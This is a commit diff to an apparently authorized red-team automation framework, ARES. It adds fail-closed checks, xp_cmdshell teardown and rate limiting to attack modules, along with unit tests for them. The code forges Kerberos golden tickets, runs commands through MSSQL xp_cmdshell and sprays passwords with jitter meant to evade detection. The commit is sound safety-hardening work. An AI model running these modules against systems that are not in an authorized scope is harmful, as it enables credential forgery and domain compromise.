ARES - authorized red-team engagement automation with dashboard, campaign scope, module orchestration, OPSEC controls, encrypted vault, and reporting.
Python active-directorycloud-securitydefensive-validationfastapigood-first-issuemitre-attackopsecreactred-teamreportingsecurity
fix(modules): enforce fail-closed execution, teardown guarantees, and safety remediation (Klaster A)
Mafifrizif61a877c727f
diff --git a/ares/modules/cloud/aws_privesc.py b/ares/modules/cloud/aws_privesc.pyindex e96004a..5f5639c 100644--- a/ares/modules/cloud/aws_privesc.py+++ b/ares/modules/cloud/aws_privesc.py@@ -71,10 +71,11 @@ class AWSPrivescModule(BaseModule):if not isinstance(ctx, ExecutionContext):returnhas_key = bool(ctx.params.get("access_key") or+ ctx.params.get("aws_access_key") or__import__("os").environ.get("AWS_ACCESS_KEY_ID"))if not has_key:raise ModuleValidationError(- "cloud.aws_privesc requires AWS credentials — set access_key param "+ "cloud.aws_privesc requires AWS credentials — set access_key/aws_access_key param ""or AWS_ACCESS_KEY_ID environment variable.",module_id=self.MODULE_ID, field="access_key",)@@ -96,10 +97,10 @@ class AWSPrivescModule(BaseModule):# Note: before_request() intentionally not called — cloud modules use# API credentials, not host IPs. Scope check (CIDR) does not apply to# cloud API endpoints. Rate limiting and jitter are handled at the API call level.- access_key = kwargs.get("aws_access_key", "")- secret_key = kwargs.get("aws_secret_key", "")- session_token = kwargs.get("aws_session_token", "")- region = kwargs.get("aws_region", "us-east-1")+ access_key = kwargs.get("aws_access_key") or kwargs.get("access_key", "")+ secret_key = kwargs.get("aws_secret_key") or kwargs.get("secret_key", "")+ session_token = kwargs.get("aws_session_token") or kwargs.get("session_token", "")+ region = kwargs.get("aws_region") or kwargs.get("region", "us-east-1")dry_run = kwargs.get("dry_run", False)if dry_run:diff --git a/ares/modules/credential/golden_ticket.py b/ares/modules/credential/golden_ticket.pyindex fb6c474..4ca9868 100644--- a/ares/modules/credential/golden_ticket.py+++ b/ares/modules/credential/golden_ticket.py@@ -184,53 +184,46 @@ class GoldenTicketModule(BaseModule):# but call the internal class directly (not via subprocess)try:from impacket.examples.ticketer import TICKETER- import tempfile as _tf+ from ares.core.security import secure_mkstemp+ dst, _fd2 = secure_mkstemp(suffix=".ccache", prefix="ares_gt_")+ _os.close(_fd2)- # Use a private tempdir so ticketer writes <username>.ccache- # into an isolated directory — prevents CWD race condition when- # two campaigns forge tickets for the same username simultaneously.- tmp_dir = _tf.mkdtemp(prefix="ares_gt_")- _os.chmod(tmp_dir, 0o700) # owner-only before any credential written- orig_cwd = _os.getcwd()- try:- _os.chdir(tmp_dir)- ticketer = TICKETER(- username,- password="",- domain=domain_upper,- options={- "nthash": nt_part,- "aesKey": None,- "domain_sid": domain_sid,- "user_id": 500,- "groups": "513,512,520,518,519",- "duration": 3650,- "extra_pac": False,- "old_pac": False,- "targetDomain": domain_upper,- "dc_ip": None,- }- )- ticketer.run()- # ticketer writes <username>.ccache in cwd (now tmp_dir)- src = _os.path.join(tmp_dir, f"{username}.ccache")- if _os.path.exists(src):- # Move to a stable temp path outside tmp_dir- from ares.core.security import secure_mkstemp- dst, _fd2 = secure_mkstemp(suffix=".ccache", prefix="ares_gt_")- _os.close(_fd2)- import shutil as _shutil- _shutil.move(src, dst)- return True, dst, ""- return False, "", "Ticket file not created"- finally:- _os.chdir(orig_cwd)- # Cleanup temp dir (now empty after move)- try:- import shutil as _shutil2- _shutil2.rmtree(tmp_dir, ignore_errors=True)- except Exception:- pass+ class _TicketerOptions:+ def __init__(self, **kwargs: Any) -> None:+ self.__dict__.update(kwargs)+ def __getattr__(self, name: str) -> Any:+ return self.__dict__.get(name)+ def __getitem__(self, item: str) -> Any:+ return self.__dict__.get(item)++ opts = _TicketerOptions(+ nthash=nt_part,+ aesKey=None,+ domain_sid=domain_sid,+ user_id=500,+ groups="513,512,520,518,519",+ duration=3650,+ extra_pac=False,+ old_pac=False,+ targetDomain=domain_upper,+ dc_ip=None,+ filename=dst,+ )+ ticketer = TICKETER(+ username,+ password="",+ domain=domain_upper,+ options=opts,+ )+ ticketer.run()+ if _os.path.exists(dst) and _os.path.getsize(dst) > 0:+ return True, dst, ""+ default_local = f"{username}.ccache"+ if _os.path.exists(default_local):+ import shutil as _shutil+ _shutil.move(default_local, dst)+ return True, dst, ""+ return False, "", "Ticket file not created"except (ImportError, AttributeError, TypeError):passdiff --git a/ares/modules/credential/pass_spray.py b/ares/modules/credential/pass_spray.pyindex 22ad505..d35f1fd 100644--- a/ares/modules/credential/pass_spray.py+++ b/ares/modules/credential/pass_spray.py@@ -323,8 +323,7 @@ class PassSprayModule(BaseModule):source="operator", target=target,detail=f"users={len(users)} passwords={len(passwords)} proto={protocol}")- await self.noise.rate_limiter.acquire("cloud_api")-+ rate_bucket = "ldap" if use_ldap else "default"valid_creds: list[dict[str, str]] = []locked_accounts: list[str] = []attempts = 0@@ -337,6 +336,8 @@ class PassSprayModule(BaseModule):if lockout_detected or user in locked_accounts:continue+ # Rate limiting per attempt to strictly respect LDAP/SMB noise profile & avoid lockout+ await self.noise.rate_limiter.acquire(rate_bucket)# Jitter — random timing variation prevents regular spray pattern detectionawait self.noise.jitter.sleep()if delay_s > 0:diff --git a/ares/modules/lateral/mssql.py b/ares/modules/lateral/mssql.pyindex 45bbc29..c97c6b9 100644--- a/ares/modules/lateral/mssql.py+++ b/ares/modules/lateral/mssql.py@@ -340,7 +340,8 @@ class MSSQLModule(BaseModule):def _xp_cmdshell_sync(self, target: str, username: str, password: str,port: int, command: str) -> str:- """Enable xp_cmdshell and execute command. Returns output."""+ """Enable xp_cmdshell, execute command, and safely teardown in finally."""+ conn = Nonetry:import pymssql # type: ignore[import]conn = pymssql.connect(target, username, password, "master", port=port, timeout=15)@@ -349,14 +350,27 @@ class MSSQLModule(BaseModule):cur.execute("EXEC sp_configure 'show advanced options', 1; RECONFIGURE")cur.execute("EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE")safe_cmd = command.replace("'", "''") # SQL-escape single quotes- cur.execute(f"EXEC xp_cmdshell '{safe_cmd}'")- rows = cur.fetchall()- output = "\n".join(str(r[0]) for r in rows if r[0] is not None)- conn.close()- return output+ try:+ cur.execute(f"EXEC xp_cmdshell '{safe_cmd}'")+ rows = cur.fetchall()+ output = "\n".join(str(r[0]) for r in rows if r[0] is not None)+ return output+ finally:+ # Always teardown: disable xp_cmdshell to leave target secure+ try:+ cur.execute("EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE")+ cur.execute("EXEC sp_configure 'show advanced options', 0; RECONFIGURE")+ except Exception as cleanup_exc:+ logger.warning("xp_cmdshell_teardown_failed", error=str(cleanup_exc)[:80])except Exception as exc:logger.debug("xp_cmdshell_failed", error=str(exc)[:80])return ""+ finally:+ if conn:+ try:+ conn.close()+ except Exception:+ passdef _linked_server_sync(self, target: str, username: str, password: str,port: int, linked: str, command: str) -> str:diff --git a/ares/modules/linux/ld_preload.py b/ares/modules/linux/ld_preload.pyindex a1254cf..8cbe952 100644--- a/ares/modules/linux/ld_preload.py+++ b/ares/modules/linux/ld_preload.py@@ -85,6 +85,13 @@ class LDPreloadModule(BaseModule):f"{self.MODULE_ID} requires 'target' — IP or hostname.",module_id=self.MODULE_ID, field="target",)+ ssh_user = ctx.params.get("username") or ctx.params.get("ssh_user")+ if target != "localhost" and not ssh_user:+ raise ModuleValidationError(+ f"{self.MODULE_ID} targeting remote host '{target}' requires 'username' or 'ssh_user'. "+ "Local controller fallback is prohibited.",+ module_id=self.MODULE_ID, field="username",+ )async def execute(self, ctx: "Any") -> "ModuleResult":"""ExecutionContext-based entry point (v0.9.0+).@@ -129,9 +136,12 @@ class LDPreloadModule(BaseModule):await self.before_request(host, "ssh")logger.info("ld_preload_start", host=host, mode="remote", user=ssh_user)run_cmd = await self._make_ssh_runner(host, ssh_user, ssh_key, ssh_pass, ssh_port)- else:+ elif host == "localhost":logger.info("ld_preload_start", host="localhost", mode="local")run_cmd = self._run_local+ else:+ logger.error("ld_preload_rejected_remote_without_credentials", host=host)+ return [], {"error": f"remote target '{host}' requires ssh_user; local fallback prohibited"}# Run checks in parallel(diff --git a/ares/modules/linux/nfs_escape.py b/ares/modules/linux/nfs_escape.pyindex dba6c76..4749083 100644--- a/ares/modules/linux/nfs_escape.py+++ b/ares/modules/linux/nfs_escape.py@@ -136,6 +136,13 @@ class NFSEscapeModule(BaseModule):f"{self.MODULE_ID} requires 'target' — IP or hostname.",module_id=self.MODULE_ID, field="target",)+ ssh_user = ctx.params.get("username") or ctx.params.get("ssh_user")+ if target != "localhost" and not ssh_user:+ raise ModuleValidationError(+ f"{self.MODULE_ID} targeting remote host '{target}' requires 'username' or 'ssh_user'. "+ "Local controller fallback is prohibited.",+ module_id=self.MODULE_ID, field="username",+ )async def execute(self, ctx: "Any") -> "ModuleResult":"""ExecutionContext-based entry point (v0.9.0+).@@ -180,9 +187,12 @@ class NFSEscapeModule(BaseModule):await self.before_request(host, "ssh")logger.info("nfs_escape_start", host=host, mode="remote", user=ssh_user)run_cmd = await self._make_ssh_runner(host, ssh_user, ssh_key, ssh_pass, ssh_port)- else:+ elif host == "localhost":logger.info("nfs_escape_start", host="localhost", mode="local")run_cmd = self._run_local+ else:+ logger.error("nfs_escape_rejected_remote_without_credentials", host=host)+ return [], {"error": f"remote target '{host}' requires ssh_user; local fallback prohibited"}# Gather NFS data in parallelexports_raw, mounts_raw, showmount_raw, nfs_conf_raw = await asyncio.gather(diff --git a/ares/modules/linux/privesc.py b/ares/modules/linux/privesc.pyindex a5f7d20..85583ea 100644--- a/ares/modules/linux/privesc.py+++ b/ares/modules/linux/privesc.py@@ -45,14 +45,21 @@ class LinuxPrivescModule(BaseModule):"linux.privesc requires 'target' — IP or hostname of Linux host.",module_id=self.MODULE_ID, field="target",)+ ssh_user = ctx.params.get("username") or ctx.params.get("ssh_user")+ if target != "localhost" and not ssh_user:+ raise ModuleValidationError(+ f"{self.MODULE_ID} targeting remote host '{target}' requires 'username' or 'ssh_user'. "+ "Local controller fallback is prohibited.",+ module_id=self.MODULE_ID, field="username",+ )async def execute(self, ctx: "Any") -> "ModuleResult":"""ExecutionContext-based entry point (v0.9.0+)."""from ares.modules.base import ModuleResult- host = ctx.params.get("host") or getattr(ctx, "target", "localhost")- ssh_user = ctx.params.get("ssh_user")- ssh_key = ctx.params.get("ssh_key")- ssh_pass = ctx.params.get("ssh_pass")+ host = ctx.params.get("host") or ctx.params.get("target") or getattr(ctx, "target", "localhost")+ ssh_user = ctx.params.get("username") or ctx.params.get("ssh_user")+ ssh_key = ctx.params.get("key_path") or ctx.params.get("ssh_key")+ ssh_pass = ctx.params.get("password") or ctx.params.get("secret") or ctx.params.get("ssh_pass")ssh_port = ctx.params.get("ssh_port", 22)if getattr(ctx, "dry_run", False):return ModuleResult(status="dry_run", module_id=self.MODULE_ID,@@ -75,9 +82,12 @@ class LinuxPrivescModule(BaseModule):await self.before_request(host, "ssh")logger.info("linux_privesc_start", host=host, mode="remote", user=ssh_user)run_cmd = await self._make_ssh_runner(host, ssh_user, ssh_key, ssh_pass, ssh_port)- else:+ elif host == "localhost":logger.info("linux_privesc_start", host="localhost", mode="local")run_cmd = self._run_local+ else:+ logger.error("linux_privesc_rejected_remote_without_credentials", host=host)+ return [], {"error": f"remote target '{host}' requires ssh_user; local fallback prohibited"}checks = [("suid",self._check_suid(run_cmd)),("sudo",self._check_sudo(run_cmd)),("cron",self._check_cron(run_cmd)),("capabilities",self._check_capabilities(run_cmd)),diff --git a/ares/modules/linux/service_hijack.py b/ares/modules/linux/service_hijack.pyindex 6e7beee..017c90c 100644--- a/ares/modules/linux/service_hijack.py+++ b/ares/modules/linux/service_hijack.py@@ -120,6 +120,13 @@ class ServiceHijackModule(BaseModule):f"{self.MODULE_ID} requires 'target' — IP or hostname.",module_id=self.MODULE_ID, field="target",)+ ssh_user = ctx.params.get("username") or ctx.params.get("ssh_user")+ if target != "localhost" and not ssh_user:+ raise ModuleValidationError(+ f"{self.MODULE_ID} targeting remote host '{target}' requires 'username' or 'ssh_user'. "+ "Local controller fallback is prohibited.",+ module_id=self.MODULE_ID, field="username",+ )async def execute(self, ctx: "Any") -> "ModuleResult":"""ExecutionContext-based entry point (v0.9.0+).@@ -164,9 +171,12 @@ class ServiceHijackModule(BaseModule):await self.before_request(host, "ssh")logger.info("service_hijack_start", host=host, mode="remote", user=ssh_user)run_cmd = await self._make_ssh_runner(host, ssh_user, ssh_key, ssh_pass, ssh_port)- else:+ elif host == "localhost":logger.info("service_hijack_start", host="localhost", mode="local")run_cmd = self._run_local+ else:+ logger.error("service_hijack_rejected_remote_without_credentials", host=host)+ return [], {"error": f"remote target '{host}' requires ssh_user; local fallback prohibited"}# ── 1. Collect .service unit files ────────────────────────────────find_cmd = (diff --git a/tests/unit/modules/test_safety_remediation.py b/tests/unit/modules/test_safety_remediation.pynew file mode 100644index 0000000..47683dd--- /dev/null+++ b/tests/unit/modules/test_safety_remediation.py@@ -0,0 +1,197 @@+"""+Automated Safety Remediation Unit Tests (Klaster A)+Verifies:+1. Linux modules reject remote execution without SSH credentials (fail-closed)+2. MSSQL xp_cmdshell always tears down in finally+3. Golden Ticket does not mutate process-wide CWD+4. Pass Spray rate limits per-attempt inside loop using ldap/default bucket+5. AWS Privesc harmonizes access_key and aws_access_key parameters+"""+from __future__ import annotations++import asyncio+import os+from unittest.mock import AsyncMock, MagicMock, patch+import pytest++from ares.core.config import AresSettings+from ares.core.campaign import Campaign, NoiseProfile, ScopeEntry+from ares.core.context import ExecutionContext+from ares.core.errors import ModuleValidationError+from ares.core.noise import NoiseController+++def make_module(cls):+ """Instantiate module with valid test settings, campaign, and noise controller."""+ settings = AresSettings()+ campaign = Campaign(+ name="KlasterA-Safety-Test",+ client="SafetyClient",+ operator="safety_tester",+ scope=[ScopeEntry(cidr="10.0.0.0/8")],+ noise_profile=NoiseProfile.NORMAL,+ )+ noise = NoiseController(campaign)+ return cls(settings=settings, campaign=campaign, noise=noise)+++# ── 1. Linux Modules Fail-Closed Verification ───────────────────────────────+[email protected]("mod_path,cls_name", [+ ("ares.modules.linux.privesc", "LinuxPrivescModule"),+ ("ares.modules.linux.service_hijack", "ServiceHijackModule"),+ ("ares.modules.linux.ld_preload", "LDPreloadModule"),+ ("ares.modules.linux.nfs_escape", "NFSEscapeModule"),+])+def test_linux_modules_validate_rejects_remote_without_credentials(mod_path, cls_name):+ """Remote targets must fail-closed if ssh_user/username is omitted."""+ mod = __import__(mod_path, fromlist=[cls_name])+ module_cls = getattr(mod, cls_name)+ instance = make_module(module_cls)++ ctx = ExecutionContext(+ target="10.0.0.5",+ campaign_id="test_camp",+ params={},+ )+ with pytest.raises(ModuleValidationError) as exc_info:+ asyncio.run(instance.validate(ctx))+ assert "requires 'username' or 'ssh_user'" in str(exc_info.value)+ assert "prohibited" in str(exc_info.value)++[email protected]("mod_path,cls_name", [+ ("ares.modules.linux.privesc", "LinuxPrivescModule"),+ ("ares.modules.linux.service_hijack", "ServiceHijackModule"),+ ("ares.modules.linux.ld_preload", "LDPreloadModule"),+ ("ares.modules.linux.nfs_escape", "NFSEscapeModule"),+])+def test_linux_modules_validate_accepts_remote_with_credentials(mod_path, cls_name):+ """Remote targets pass validation if ssh_user or username is provided."""+ mod = __import__(mod_path, fromlist=[cls_name])+ module_cls = getattr(mod, cls_name)+ instance = make_module(module_cls)++ ctx = ExecutionContext(+ target="10.0.0.5",+ campaign_id="test_camp",+ params={"ssh_user": "operator"},+ )+ # Should not raise+ asyncio.run(instance.validate(ctx))++[email protected]("mod_path,cls_name", [+ ("ares.modules.linux.privesc", "LinuxPrivescModule"),+ ("ares.modules.linux.service_hijack", "ServiceHijackModule"),+ ("ares.modules.linux.ld_preload", "LDPreloadModule"),+ ("ares.modules.linux.nfs_escape", "NFSEscapeModule"),+])+def test_linux_modules_run_refuses_remote_local_fallback(mod_path, cls_name):+ """Direct run() with remote host and no ssh_user must return error without executing local shell."""+ mod = __import__(mod_path, fromlist=[cls_name])+ module_cls = getattr(mod, cls_name)+ instance = make_module(module_cls)++ findings, raw = asyncio.run(instance.run(host="10.0.0.5", ssh_user=None))+ assert findings == []+ assert "prohibited" in raw.get("error", "").lower()+++# ── 2. MSSQL xp_cmdshell Teardown Verification ─────────────────────────────++def test_mssql_xp_cmdshell_teardown_executed_even_on_query_failure():+ """xp_cmdshell must always be disabled in finally even if the shell command throws."""+ from ares.modules.lateral.mssql import MSSQLModule+ module = make_module(MSSQLModule)++ mock_conn = MagicMock()+ mock_cursor = MagicMock()+ mock_conn.cursor.return_value = mock_cursor++ # Simulate command execution error during xp_cmdshell+ def cursor_execute(query):+ if "EXEC xp_cmdshell" in query:+ raise RuntimeError("Simulated query execution error")++ mock_cursor.execute.side_effect = cursor_execute++ with patch.dict("sys.modules", {"pymssql": MagicMock(connect=MagicMock(return_value=mock_conn))}):+ out = module._xp_cmdshell_sync("10.0.0.1", "sa", "Password123!", 1433, "whoami")++ # Assert teardown query was executed+ executed_queries = [call.args[0] for call in mock_cursor.execute.call_args_list]+ assert any("sp_configure 'xp_cmdshell', 0" in q for q in executed_queries), \+ "xp_cmdshell teardown (disable) was not executed in finally!"+ assert any("sp_configure 'show advanced options', 0" in q for q in executed_queries), \+ "show advanced options teardown was not executed in finally!"+ assert mock_conn.close.called+++# ── 3. Golden Ticket CWD Isolation Verification ─────────────────────────────++def test_golden_ticket_does_not_mutate_process_cwd():+ """golden_ticket._forge must not call os.chdir under any circumstance."""+ from ares.modules.credential.golden_ticket import GoldenTicketModule+ mod = make_module(GoldenTicketModule)+ mod.before_request = AsyncMock()+ mod.noise.jitter.sleep = AsyncMock()++ cwd_before = os.getcwd()+ with patch("os.chdir") as mock_chdir:+ # Run golden ticket forge+ asyncio.run(mod.run(+ domain="corp.local",+ domain_sid="S-1-5-21-1234567890-1234567890-1234567890",+ krbtgt_hash="a" * 32,+ username="Administrator",+ ))+ assert not mock_chdir.called, "os.chdir was called during golden ticket execution!"+ assert os.getcwd() == cwd_before+++# ── 4. Pass Spray Rate Limiting Verification ────────────────────────────────++def test_pass_spray_rate_limits_per_attempt_with_ldap_bucket():+ """pass_spray must acquire 'ldap' rate limiter on every attempt, not cloud_api."""+ from ares.modules.credential.pass_spray import PassSprayModule+ mod = make_module(PassSprayModule)+ mod.before_request = AsyncMock()+ mod.noise.jitter.sleep = AsyncMock()++ acquire_mock = AsyncMock()+ mod.noise.rate_limiter.acquire = acquire_mock++ users = ["user1", "user2", "user3"]+ passwords = ["Pass1"]++ with patch.dict("sys.modules", {"ldap3": MagicMock()}):+ with patch("asyncio.sleep", new=AsyncMock()):+ asyncio.run(mod.run(+ target="10.0.0.1",+ users=users,+ passwords=passwords,+ use_ldap=True,+ delay_s=0,+ ))++ # Assert rate_limiter.acquire was called for each attempt (3 times)+ assert acquire_mock.call_count == 3+ # Assert every call used 'ldap', NONE used 'cloud_api'+ for call in acquire_mock.call_args_list:+ assert call.args[0] == "ldap", f"Expected 'ldap' bucket, got {call.args[0]}"+++# ── 5. AWS Privesc Parameter Normalization Verification ──────────────────────++def test_aws_privesc_accepts_both_access_key_variants():+ """aws_privesc must accept either access_key or aws_access_key."""+ from ares.modules.cloud.aws_privesc import AWSPrivescModule+ mod = make_module(AWSPrivescModule)++ # Both must validate without error+ ctx1 = ExecutionContext(target="aws", campaign_id="c", params={"access_key": "AKIA123"})+ asyncio.run(mod.validate(ctx1))++ ctx2 = ExecutionContext(target="aws", campaign_id="c", params={"aws_access_key": "AKIA123"})+ asyncio.run(mod.validate(ctx2))